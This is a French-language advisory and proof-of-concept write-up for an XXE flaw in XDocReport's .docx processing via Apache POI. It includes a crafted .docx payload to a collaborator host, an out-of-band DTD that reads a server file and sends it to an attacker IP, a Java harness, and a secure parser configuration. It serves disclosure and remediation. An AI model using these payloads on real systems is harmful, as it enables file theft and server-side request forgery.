
CVE-2025-65482 (XXE)
Injection d'entité externe XML
Aperçu de la vulnérabilité
Impact commercial
Le site web de gestion des ressources humaines permet aux utilisateurs de télécharger des fichiers .docx sur le système. Lors du traitement, l'application utilise la bibliothèque qui contient une vulnérabilité XXE lorsqu'elle traite le fichier de l'utilisateur via .
fr.opensagres.xdocreport.document.docx.docxSAXParserfr.opensagres.xdocreport.template.docx — XDocReport (versions =< 2.0.3)
La cause est l'utilisation d'Apache POI.
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
C'est-à-dire qu'Apache POI est très profondément intégré, dans le module :
org.apache.poi.xwpf.converter.core
L'erreur se produit car XDocReport (dans le module fr.opensagres.xdocreport.document.docx) utilise Apache POI pour lire les fichiers .docx, et POI utilise le SAXParser par défaut de Java sans désactiver les fonctionnalités permettant le traitement des DTD et des entités externes. → Cela permet à un attaquant d'insérer un DOCTYPE avec une entité pointant vers l'extérieur (SYSTEM "http://...") ou vers un fichier interne (file:///...) → générant une XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
modifiez avec un payload outbound pour le collabrator comme suit :
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. avec le contenu du fichier vcspentest.dtd comme suit :<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
modifiez le fichier word/document.xml dans le fichier .docx avec le contenu suivant pour charger le dtd externe depuis la machine wsl :
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx et téléchargez-le sur le serveur pour traitementD:/vcspentest.txt sur le serveur cibleDans le code ou au niveau de la configuration du parseur XML, il est nécessaire de désactiver toutes les fonctionnalités liées aux DTD et aux entités externes.
correction similaire à ce code
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;
import fr.opensagres.xdocreport.document.IXDocReport;
import fr.opensagres.xdocreport.document.registry.XDocReportRegistry;
import fr.opensagres.xdocreport.template.IContext;
import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\New folder (3)\\poc.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng Velocity
// IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Velocity);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.velocity</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
SAXParser sans validation de l'entrée.scanDocument() qui scanne le contenu XML et émet des 'événements' (START_DOCUMENT, START_ELEMENT, CHARACTERS, ENTITY_REFERENCE, etc.)Vérifie si le nom de l'entité (name = "xxe") est une entité externe.
Si l'entité est déclarée et externe, le parseur appelle la logique de résolution externe (par exemple startExternalEntity(...) / fEntityManager.startEntity(...)) – c'est le sink : le parseur récupère le systemId/publicId et tente d'ouvrir un flux (pouvant générer une requête HTTP vers l'extérieur).
xxe est une entité externe, alors startEntity(...) mène à la logique d'ouverture de ressource (par exemple startExternalEntity(...) / ouverture d'un InputStream → possibilité de générer une requête HTTP vers l'URL SYSTEM). // should we skip external entities?
boolean external = entity.isExternal();
Entity.ExternalEntity externalEntity = null;
String extLitSysId = null, extBaseSysId = null, expandedSystemId = null;
if (external) {
externalEntity = (Entity.ExternalEntity)entity;
extLitSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getLiteralSystemId() : null);
extBaseSysId = (externalEntity.entityLocation != null ? externalEntity.entityLocation.getBaseSystemId() : null);
expandedSystemId = expandSystemId(extLitSysId, extBaseSysId, fStrictURI);
boolean unparsed = entity.isUnparsed();
boolean parameter = entityName.startsWith("%");
boolean general = !parameter;
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
}
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
La variable externalEntity.entityLocation contient l'URL malveillante provenant du DOCTYPE (SYSTEM "http://...oastify.com/").
Dans resolveEntityAsPerStax, la variable resourceIdentifier contient le chemin absolu : http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/
Cette fonction convertit ensuite resourceIdentifier en objet XMLResourceIdentifierImpl et continue en ouvrant une connexion réelle pour lire le contenu.